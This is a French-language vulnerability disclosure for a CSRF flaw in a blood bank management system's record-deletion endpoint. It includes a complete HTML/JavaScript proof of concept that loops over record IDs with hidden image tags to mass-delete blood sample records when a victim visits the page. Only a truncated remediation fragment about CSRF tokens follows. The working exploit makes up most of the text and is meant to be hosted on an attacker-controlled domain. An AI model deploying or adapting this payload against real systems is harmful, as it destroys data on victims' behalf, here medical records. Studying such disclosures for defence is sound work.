
Preuve de concept d'attaque CSRF sur banque du sang
/file/delete.php?bid=Une vulnérabilité Cross Site Request Forgery (CSRF) a été découverte dans la fonctionnalité de demande de sang du BloodBank Management System. Ce défaut se produit lors de l'envoi d'une requête delete vers ce chemin /file/delete.php?bid= permettant au paramètre bid de sélectionner un enregistrement à supprimer dans l'application. Cependant, les bids sont dynamiques selon l'ajout des échantillons de sang, donc pour que la requête réussisse, j'ai utilisé une balise d'image générée par JavaScript dans une boucle.
L'exploitation réussie peut entraîner des actions non autorisées, c'est-à-dire la suppression de données au nom de la victime. De plus, cela pourrait être exploité en visitant des sites Web malveillants contenant la charge utile.
Voici un exemple d'attaque CSRF POC qui supprime les échantillons de sang disponibles via le paramètre bid, héberger le fichier sur un domaine contrôlé par l'attaquant ; dans mon cas, j'utilisais localhost :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
jetons CSRF dans vos requêtes et évitez également que les requêtes GET n'effectuent des actions modifiant l'état.